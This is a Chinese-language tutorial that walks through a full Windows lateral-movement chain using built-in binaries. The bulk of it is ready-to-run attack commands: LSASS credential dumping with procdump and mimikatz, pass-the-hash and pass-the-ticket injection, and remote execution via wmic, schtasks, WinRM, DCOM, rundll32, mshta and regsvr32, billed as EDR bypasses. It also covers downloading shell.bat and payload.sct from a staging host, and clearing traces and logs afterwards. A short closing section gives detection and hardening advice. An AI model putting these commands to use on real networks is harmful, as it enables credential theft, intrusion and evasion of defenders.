Windows LOLBAS横向移动实战:从凭据窃取到目标机落地全链路教程
1 技术底层:LOLBAS横向移动核心原理
1.1 LOLBAS本质定义
LOLBAS 全称 Living Off The Land Binaries And Scripts,直译即为“就地取材式二进制与脚本工具”。它不是第三方渗透工具,而是Windows系统默认自带、受系统数字签名保护的原生程序、脚本组件与COM对象。
绝大多数企业杀毒软件、EDR终端防护会默认放行系统合法程序,这是LOLBAS攻击的核心生存优势。常规木马、EXE远控、自定义脚本会被终端设备实时拦截查杀,而LOLBAS工具本身是系统运行必需文件,防护设备无法直接封禁,只能依靠行为特征检测。
内网横向移动中,LOLBAS攻击最大的特征是零文件落地、零恶意程序写入、纯内存/原生进程执行。全程不向目标磁盘写入恶意Payload,仅调用系统原生功能完成远程命令执行、文件传输、权限维持,是目前红蓝对抗中优先级最高的横向手段。
1.2 横向移动第一性原理:身份复用
所有Windows内网横向移动,底层逻辑只有一个:利用有效身份凭据,通过Windows远程协议,在目标主机调用原生组件执行操作。
没有合法凭据,所有横向手法都无法生效。内网渗透中拿到跳板机权限只是第一步,dump凭据、解析身份、复用域/本地管理员权限,才是横向移动的核心前置动作。
Windows域环境、工作组环境的身份认证体系分为两套:NTLM本地认证、Kerberos域认证。对应的横向凭据攻击分为PTH哈希传递、PTT票据传递两大核心体系,所有LOLBAS横向工具都必须依托这两种身份体系运行。
1.3 核心远程通信协议与端口
LOLBAS工具不具备自主联网、远程通信能力,所有远程操作都依赖Windows内置远程协议,端口固定、通信特征稳定,是攻防对抗的关键识别点。
| 通信协议 | 默认端口 | 对应LOLBAS工具 | 适用场景 |
|---|---|---|---|
| WMI/DCOM | 135 + 动态高位端口 | wmic.exe、DCOM组件调用 | 未开启WinRM、防火墙宽松的内网主机 |
| SMB | 445 | schtasks.exe、文件共享读取 | 开启Admin$默认共享的域内主机 |
| WinRM(WS-Man) | 5985(HTTP)、5986(HTTPS) | powershell.exe | 域内服务器、运维主机常态化开启 |
1.4 全链路整体架构流程图
以下为完整LOLBAS横向移动标准化链路,覆盖从权限获取到痕迹清理的全流程,所有实战操作均围绕该架构展开。
2 前置实战:凭据抓取与身份注入(全可复制代码)
绝大多数渗透新手横向失败,问题不在于LOLBAS工具使用,而在于凭据抓取不完整、身份注入流程错误、进程身份继承失效。本章提供生产靶场可直接复用的全套凭据操作代码,适配Windows Server 2016/2019/2022、Win10/Win11全版本。
2.1 LSASS内存凭据Dump(两种无损方案)
系统所有登录账号的明文密码、NTLM哈希、Kerberos票据,均缓存于LSASS进程内存中。获取LSASS内存数据,即可批量拿到内网有效凭据。
2.1.1 Procdump静默Dump(免杀稳定性最高)
Procdump是Sysinternals官方工具,微软数字签名,大部分EDR默认放行,无落地查杀风险。
# 管理员CMD执行,静默导出lsass内存文件,无弹窗无日志 procdump64.exe -accepteula -ma lsass.exe lsass_dump.dmp # 导出后将dmp文件离线解析 mimikatz.exe "sekurlsa::minidump lsass_dump.dmp" "sekurlsa::logonpasswords full" exit2.1.2 Mimikatz直接内存读取(快速落地)
# 管理员权限运行mimikatz,直接读取内存凭据 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit注意:开启LSA保护的主机,直接读取会失败,必须先关闭LSA保护或使用dmp离线解析。
2.2 PTH哈希传递实战(NTLM凭据复用)
PTH(Pass The Hash)是内网最通用的横向手段,不需要明文密码,仅依靠NTLM哈希即可完成身份认证,适配所有未开启NTLM强制加固的Windows主机。
# Mimikatz哈希注入标准命令 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:contoso.com /ntlm:此处替换为目标NTLM哈希 /run:cmd.exe" exit执行后会弹出全新CMD窗口,仅该窗口进程持有注入的管理员身份,原终端进程身份不变,所有横向命令必须在新窗口内执行。
常见报错修复:提示权限不足时,确认当前跳板机为管理员权限、关闭UAC远程访问限制、目标主机未开启NTLMv2强制校验。
2.3 PTT票据传递实战(域环境最优解)
PTT(Pass The Ticket)依托Kerberos协议,域环境中比PTH更隐蔽,不会触发NTLM登录日志,规避大部分基于NTLM异常的检测规则。
# 导入kirbi票据文件 mimikatz.exe "kerberos::ptt admin.kirbi" exit # 验证票据导入成功 klistklist命令返回有效TGT票据,即代表身份注入成功,可直接访问域内所有授权主机。
3 核心实战:六大LOLBAS横向移动全手法
本章所有手法均为纯系统原生工具,无第三方程序、无文件落地,适配红蓝对抗实战场景。全部命令可直接复制执行,区分明文凭据、哈希注入两种使用场景,同时标注EDR对抗要点。
3.1 WMI+wmic.exe 远程横向(135端口通用方案)
wmic.exe是Windows内置WMI管理工具,所有Windows版本默认自带,无需目标主机开启任何额外服务,是内网兼容性最高的横向手段。
3.1.1 明文凭据远程执行
# 远程创建进程执行命令,输出结果至本地文件 wmic /node:"192.168.3.100" /user:"contoso\Administrator" /password:"Admin@123456" process call create "cmd /c whoami > C:\windows\temp\res.txt"3.1.2 哈希注入后无凭据执行(隐蔽版)
PTH注入身份后,无需填写账号密码,直接复用当前进程身份,规避明文密码日志记录。
wmic /node:"192.168.3.100" process call create "cmd /c hostname >> C:\windows\temp\res.txt"3.1.3 对抗优化方案
原生wmic远程创建进程特征明显,高版本EDR会直接拦截。实战中嵌套rundll32无文件执行,绕过基础进程监控。
wmic /node:"192.168.3.100" process call create "rundll32 javascript:\"\\..\\mshtml,RunHTMLApplication \";x=new ActiveXObject(\"WScript.Shell\");x.run(\"cmd /c systeminfo > C:\temp\sysinfo.txt\")"3.2 Schtasks计划任务横向(445端口SMB经典手法)
schtasks.exe是系统计划任务工具,依托SMB 445端口通信,适用于开启Admin$默认共享的内网主机,老旧服务器环境命中率极高。
3.2.1 完整创建-执行-删除全流程
# 1. 远程创建一次性计划任务 schtasks /s 192.168.3.100 /tn "SysUpdateTask" /tr "cmd /c whoami > C:\tasklog.txt" /sc once /st 23:59 # 2. 立即触发任务执行(无需等待定时) schtasks /s 192.168.3.100 /run /tn "SysUpdateTask" # 3. 执行完毕删除任务,消除痕迹 schtasks /s 192.168.3.100 /delete /tn "SysUpdateTask" /f3.2.2 无凭据复用执行
PTH/PTT身份注入后,去除账号密码参数,直接调用远程计划任务。
3.3 WinRM+PowerShell 远程会话横向(域服务器首选)
域内服务器、运维主机默认开启WinRM服务,PowerShell远程会话稳定、权限完整,适合长期控制内网节点。
3.3.1 交互式远程会话
# 直接建立远程PS会话,交互式操作目标主机Enter-PSSession-ComputerName 192.168.3.1003.3.2 无会话批量命令执行
# 远程执行系统信息查询、用户枚举Invoke-Command-ComputerName 192.168.3.100-ScriptBlock{whoami hostname net user ipconfig/all}3.3.3 EDR绕过嵌套执行
直接执行CMD命令易被监控,嵌套mshta无文件执行,弱化攻击特征。
Invoke-Command-ComputerName 192.168.3.100-ScriptBlock{mshta vbscript:createobject("wscript.shell").run("cmd /c tasklist > C:\proc.txt",0)(window.close)}3.4 DCOM组件远程调用(低特征隐蔽横向)
DCOM横向不依赖WMI、不依赖WinRM,仅通过135端口COM组件调用执行,攻击特征极弱,是目前对抗高级EDR的主流手法。
# 调用MMC20.Application组件远程执行命令$dcomObj=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.3.100"))$dcomObj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcomlog.txt","0")该手法全程无进程创建告警、无计划任务日志,仅留存少量DCOM组件激活日志,蓝队排查难度极大。
3.5 Bitsadmin+Certutil 内网文件落地辅助横向
部分内网环境禁止直接远程命令回显,需要通过LOLBAS下载脚本、配置文件,配合上述横向手法完成持久化攻击。
# bitsadmin 内网共享文件下载 bitsadmin /transfer downjob /download /priority high \\192.168.3.5\share\exp.ps1 C:\windows\temp\exp.ps1 # certutil 静默下载文件(无弹窗) certutil -urlcache -split -f http://192.168.3.5/shell.bat C:\temp\shell.bat # 清除certutil缓存痕迹 certutil -urlcache * delete3.6 Rundll32+Regsvr32 纯内存无文件执行
依托系统DLL组件执行恶意代码,全程内存运行,不写入磁盘,无文件落地痕迹,是极致隐蔽的LOLBAS执行方式。
# rundll32 javascript无文件执行 rundll32 javascript:"\..\mshtml,RunHTMLApplication ";var s=new ActiveXObject("WScript.Shell");s.run("cmd /c netstat -ano > C:\net.txt") # regsvr32 绕过执行命令 regsvr32 /u /s /i:http://192.168.3.5/payload.sct scrobj.dll4 完整实战全链路复现(靶场标准流程)
本章整合所有前置技术,复刻真实红蓝对抗中的标准LOLBAS横向链路,步骤完整、逻辑闭环,可直接用于实训、面试复盘、靶场演练。
4.1 靶场环境拓扑
攻击机:本地渗透终端
跳板机:域内普通主机(已获取系统权限)
目标机:域内核心业务服务器(内网存活、开放135/445/5985端口)
环境:Windows Server 2019域环境、无高级EDR拦截、内网互通
4.2 分步全流程操作
步骤1:跳板机Dump凭据
在已沦陷的跳板机管理员终端,使用procdump导出lsass内存文件,离线解析获取域管理员NTLM哈希。
步骤2:PTH哈希身份注入
通过mimikatz执行pth命令,注入域管哈希,弹出全新权限CMD窗口,所有后续操作均在该窗口执行。
步骤3:WMI嵌套Rundll32横向执行
使用wmic远程调用目标机rundll32,纯内存执行系统命令,写入执行日志至目标磁盘临时目录。
步骤4:读取执行结果
通过SMB共享访问目标机C盘临时目录,读取命令执行结果,确认横向成功。
步骤5:痕迹清理
删除临时日志文件、清除系统操作日志、删除计划任务残留,规避溯源排查。
5 实战高频报错与踩坑解决方案
基于千次内网实战复盘,整理所有LOLBAS横向移动高频问题,精准定位故障原因,提供可直接落地的修复方案。
5.1 0x80070005 拒绝访问
故障原因:凭据失效、本地账号远程UAC限制、NTLM权限校验失败
修复方案:域账号替代本地账号横向、重新注入有效凭据、关闭目标机远程UAC限制
5.2 WMI连接超时
故障原因:目标防火墙拦截135端口、动态DCOM端口封禁、WMI服务未开启
修复方案:放行内网135端口、启动目标winmgmt服务、关闭系统防火墙
5.3 Schtasks 445端口访问失败
故障原因:Admin$共享关闭、SMB服务禁用、内网防火墙拦截445端口
修复方案:开启目标默认共享、启动LanmanServer服务
5.4 凭据注入后身份不生效
故障原因:未使用mimikatz弹出的新进程、原进程身份未更新
修复方案:所有横向命令必须在注入后新弹出的CMD/PowerShell窗口执行
6 蓝队检测与防御方案(对抗式加固)
站在防御视角,针对性克制本文所有LOLBAS横向手法,提供日志审计、策略加固、行为检测全套方案。
6.1 关键日志审计规则
进程创建日志4688:监控wmic、schtasks、rundll32、mshta远程进程创建行为
WMI事件5857:审计所有远程WMI命令调用记录
Kerberos日志4769:异常票据导入、异常域身份登录检测
6.2 终端加固策略
开启LSA保护,禁止未授权程序读取LSASS内存凭据
禁用本地管理员密码统一策略,阻断哈希传递横向基础条件
限制WinRM/WMI访问IP,仅允许运维白名单IP连接
封禁内网高危端口外联,严格管控135/445/5985端口访问权限
6.3 批量检测脚本(可直接部署)
# 检测本机异常LOLBAS进程创建、远程连接记录Get-WinEvent-FilterHashtable @{LogName='Security';ID=4688}-MaxEvents 1000|Where-Object{$_.Message-match"wmic|schtasks|rundll32|mshta"}|Format-ListTimeCreated,Message# 检测异常Kerberos票据登录Get-WinEvent-FilterHashtable @{LogName='Security';ID=4769}-MaxEvents 500|Format-ListTimeCreated,Message7 攻防对抗进阶思考
当下主流EDR已经能够识别常规LOLBAS远程执行行为,单纯调用系统工具已经无法绕过高级防护。未来内网横向的核心趋势是无特征组件调用、协议混淆、凭据静默复用。
传统wmic、schtasks手法仅适用于弱防护内网环境,高阶对抗中必须结合DCOM匿名调用、PowerShell内存混淆、Kerberos票据伪造等技术,弱化攻击行为特征,规避终端行为检测。
同时,蓝队防御不再局限于端口封禁、日志审计,而是转向行为基线检测、异常身份复用识别、内存恶意代码扫描,红蓝对抗的核心已经从工具对抗转向底层协议与系统机制的对抗。
互动讨论
1、你在实战中遇到过EDR拦截常规LOLBAS横向的场景吗?你是如何绕过防护完成横向移动的?
2、对比PTH哈希传递和PTT票据传递,你认为域环境内网渗透中哪种手法的隐蔽性更强,适配场景更广?欢迎在评论区留言交流。
